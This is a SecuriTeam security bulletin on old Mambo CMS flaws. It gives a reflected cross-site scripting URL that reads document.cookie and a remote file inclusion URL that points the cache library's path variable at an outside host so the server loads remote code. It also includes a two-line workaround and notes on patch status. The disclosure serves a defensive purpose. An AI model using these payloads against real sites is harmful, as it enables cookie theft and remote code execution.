

Securiteam: [UNIX] Mambo Remote Code Execution And Cross Site Scripting

[http://>/index.php?option=com_content&task=view&id=15&Itemid=2&limit=1"><script>alert\(document.cookie\)</script>](http://>/index.php?option=com_content&task=view&id=15&Itemid=2&limit=1)

Another vulnerability is a simple hack made to the cache library which enables remote code execution. Example:

http://>/includes/Cache/Lite/Function.php?mosConfig_absolute_path=http://fucking.site.com/

Workaround

The file mambo/includes/Cache/Lite/Function.php looks something like:

```
<?php
```

```
/**
```

```
* This class extends Cache_Lite and can be used to cache the result and output of functions/methods
```

```
*
```

```
* This class is completely inspired from Sebastian Bergmann's
```

```
* PEAR/Cache_Function class. This is only an adaptation to
```

```
* Cache_Lite
```

```
*
```

```
* There are some examples in the 'docs/examples' file
```

```
* Technical choices are described in the 'docs/technical' file
```

```
*
```

```
* @package Cache_Lite
```

```
* @version $Id: Function.php,v 1.1 2004/07/21 13:38:58 rcastley Exp $
```

```
* @author Sebastian BERGMANN
```

```
<sb@sebastian-bergmann.de>
```

```
* @author Fabien MARTY <fab@php.net>
```

```
*/
```

```
require_once($mosConfig_absolute_path . '/includes/Cache/Lite.php');
```

```
class Cache_Lite_Function extends Cache_Lite
```

```
..
```

Simply add the following 2 lines before the require_once statement:

```
/** ensure this file is being included by a parent file */
```

```
defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
```

Patch Availability:

There is a fix for the issues mentioned above in the CVS version of the product. It should be available in the next release.

ADDITIONAL INFORMATION

Securiteam: [UNIX] Mambo Remote Code Execution And Cross Site Scripting

The information has been provided by <mailto:joxeankoret@yahoo.es> Joxean Koret.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.